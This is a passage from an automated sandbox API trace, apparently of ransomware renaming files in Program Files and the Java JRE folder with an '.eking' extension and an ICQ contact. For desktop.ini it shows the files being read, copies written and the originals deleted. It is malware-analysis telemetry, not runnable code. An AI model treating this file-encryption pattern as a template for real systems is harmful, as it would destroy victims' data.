Files\\Common Files\\System\\wab32res.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\wab32res.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.299] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32res.dll" (normalized: "c:\\program files\\common files\\system\\wab32res.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.299] SetEvent (hEvent=0x2b8) returned 1 [0233.299] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0233.300] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=174) returned 1 [0233.300] CloseHandle (hObject=0x368) returned 1 [0233.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 0x26 [0233.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 0x26 [0233.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\desktop.ini.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.301] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0233.301] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0233.302] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0233.302] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\desktop.ini.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x26, hTemplateFile=0x0) returned 0x348 [0233.466] ReadFile (in: hFile=0x368, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xae, lpOverlapped=0x0) returned 1 [0233.469] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xb0, lpOverlapped=0x0) returned 1 [0233.470] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0233.470] CloseHandle (hObject=0x368) returned 1 [0233.471] CloseHandle (hObject=0x348) returned 1 [0233.520] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 0 [0233.520] SetEvent (hEvent=0x2b8) returned 1 [0233.521] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0233.525] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=16960) returned 1 [0233.525] CloseHandle (hObject=0x348) returned 1 [0233.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll")) returned 0x20 [0233.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll")) returned 0x20 [0233.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.525] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.526] SetEvent (hEvent=0x2b8) returned 1 [0233.526] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0233.527] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=159808) returned 1 [0233.527] CloseHandle (hObject=0x348) returned 1 [0233.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll")) returned 0x20 [0233.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll")) returned 0x20 [0233.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.528] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.528] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0233.530] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=86080) returned 1 [0233.530] CloseHandle (hObject=0x348) returned 1 [0233.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll")) returned 0x20 [0233.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll")) returned 0x20 [0233.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.531] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.531] SetEvent (hEvent=0x2b8) returned 1 [0233.532] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0233.534] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=587840) returned 1 [0233.534] CloseHandle (hObject=0x348) returned 1 [0233.534] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll")) returned 0x20 [0233.534] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll")) returned 0x20 [0233.534] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.534] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.535] SetEvent (hEvent=0x2b8) returned 1 [0233.535] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0233.536] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1026112) returned 1 [0233.536] CloseHandle (hObject=0x348) returned 1 [0233.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll")) returned 0x20 [0233.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll")) returned 0x20 [0233.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.537] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.537] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0233.538] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1156672) returned 1 [0233.538] CloseHandle (hObject=0x348) returned 1 [0233.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll")) returned 0x20 [0233.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll")) returned 0x20 [0233.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.538] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.539] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0233.542] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=29760) returned 1 [0233.542] CloseHandle (hObject=0x348) returned 1 [0233.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll")) returned 0x20 [0233.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll")) returned 0x20 [0233.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.543] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.543] SetEvent (hEvent=0x2b8) returned 1 [0233.543] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0233.544] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=24640) returned 1 [0233.544] CloseHandle (hObject=0x348) returned 1 [0233.544] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll")) returned 0x20 [0233.544] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll")) returned 0x20 [0233.544] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.545] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.545] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0233.547] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=136256) returned 1 [0233.547] CloseHandle (hObject=0x348) returned 1 [0233.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll")) returned 0x20 [0233.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll")) returned 0x20 [0233.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.547] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.548] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0233.549] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=274496) returned 1 [0233.549] CloseHandle (hObject=0x348) returned 1 [0233.549] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll")) returned 0x20 [0233.549] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll")) returned 0x20 [0233.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.550] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.550] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0233.994] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=186944) returned 1 [0233.994] CloseHandle (hObject=0x348) returned 1 [0233.994] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll")) returned 0x20 [0233.994] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll")) returned 0x20 [0233.994] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.995] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.995] SetEvent (hEvent=0x2b8) returned 1 [0233.995] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0233.996] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=29760) returned 1 [0233.996] CloseHandle (hObject=0x348) returned 1 [0233.996] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll")) returned 0x20 [0233.996] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll")) returned 0x20 [0233.996] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.996] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.997] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.046] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=14400) returned 1 [0234.046] CloseHandle (hObject=0x348) returned 1 [0234.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll")) returned 0x20 [0234.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll")) returned 0x20 [0234.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.047] SetEvent (hEvent=0x2b8) returned 1 [0234.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.048] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=15424) returned 1 [0234.048] CloseHandle (hObject=0x348) returned 1 [0234.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll")) returned 0x20 [0234.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll")) returned 0x20 [0234.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.049] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.049] CreateFileW 